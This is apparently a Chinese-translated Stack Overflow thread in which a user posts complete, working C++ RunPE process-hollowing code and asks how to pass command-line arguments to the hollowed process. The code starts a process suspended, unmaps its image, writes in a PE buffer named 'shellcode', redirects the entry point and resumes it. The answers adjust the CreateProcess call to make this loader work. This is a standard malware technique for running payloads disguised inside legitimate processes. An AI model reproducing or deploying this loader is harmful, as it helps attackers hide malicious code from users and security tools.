【问题标题】:C++ Process Hollowing/Dynamic ForkingC++ 进程空心/动态分叉
【发布时间】:2013-10-03 19:20:32
【问题描述】:

我试图了解整个挖空过程(也称为动态分叉)的实际工作原理。

我很好奇的一件事是,如何将命令行参数/参数传递给分叉的进程?

这是我正在学习的代码(取自网络),它运行良好,希望我无法弄清楚如何为正在内存中执行的文件添加 CMD 参数。

Hollow.h

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

class runPE{
public:
    void run(LPSTR szFilePath, PVOID pFile) 
    {
        PIMAGE_DOS_HEADER IDH;     
        PIMAGE_NT_HEADERS INH;     
        PIMAGE_SECTION_HEADER ISH; 
        PROCESS_INFORMATION PI;    
        STARTUPINFOA SI;           
        PCONTEXT CTX;              
        PDWORD dwImageBase;        
        NtUnmapViewOfSection xNtUnmapViewOfSection;
        LPVOID pImageBase;         
        int Count;                 
        IDH = PIMAGE_DOS_HEADER(pFile);
        if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
        {
            INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
            if (INH->Signature == IMAGE_NT_SIGNATURE)
            {
                RtlZeroMemory(&SI, sizeof(SI));
                RtlZeroMemory(&PI, sizeof(PI));
                if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
                {
                    CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                    CTX->ContextFlags = CONTEXT_FULL;
                    if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
                    {
                        ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
                        if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                        {
                            xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                            xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                        }
                        pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                        if (pImageBase)
                        {
                            WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                            for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                            {
                                ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                                WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                            }
                            WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                            CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                            SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                            ResumeThread(PI.hThread);
                        }

                    }
                }
            }
        }
        VirtualFree(pFile, 0, MEM_RELEASE);
    }
};

主要

int main()
{
    runPE rp;
    TCHAR szFilePath[1024];
    GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
    rp.run(LPSTR(szFilePath), shellcode);
    //Sleep(INFINITE);
    return 0;
}

但是如何将参数传递给将被分叉到自身/内存的代码?我已经搞砸了大约 7 个小时以上没有解决方案,有人请指点我正确的方法或告诉我它是如何完成的。

【问题讨论】:

    标签: c++ memory fork in-memory


    【解决方案1】:

    您总是可以使用某种进程间通信:

    1. 创建假窗口并使用窗口消息
    2. 管道
    3. 邮槽
    4. 套接字
    5. 文件
    6. 共享内存

    【讨论】:

      【解决方案2】:

      将命令行参数传递给分叉进程非常简单, 我们只需要编辑CreateProcess:

      解决方案 1:

      来自

      CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)
      

      CreateProcessA(NULL, szFilePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)
      
      1. szFilePathCreateProcess()的第一个参数(lpCommandLine)移到第二个参数(lpCommandLine)。
      2. 将第一个参数 (lpApplicationName) 设置为 NULL。

      现在szFilePath可以包含文件路径加参数,例如:

      C:\MyProgram.exe -param1 -param2
      

      CreateProcess 现在将执行完整的命令行,其中包括文件路径和后续参数。

      解决方案 2:

      或者,您可以将文件名和参数以两个单独的字符串传递给 CreateProcess:

      CreateProcessA(szFilePath, szParameters, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)
      

      【讨论】:

      • 为什么不只是添加参数,为什么要尝试将它们与主机exename合并?当第一个参数设置正确时,第二个参数可以是任何字符串。
      • @BenVoigt 是的,你的也是一个可行的解决方案。但是,对于某些函数(例如 GetCommandLine),文件名和参数是在单个字符串中检索的。通过上述方法,我们在使用 CreateProcess 之前不需要在 exename 和参数之间拆分字符串
      • 但是当“空心化”时,它们可能不相关。并且提供两个参数的方法使您可以完全控制子级中GetCommandLine() 的值——您可以使用适合寄生虫模块的内容来启动参数字符串,而如果您让CreateProcess 从中检索主机 exe 路径论点,那么它必须是论点的一部分)
      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 2012-05-05
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2011-08-23
      • 2011-06-24
      • 2014-01-11
      相关资源
      最近更新 更多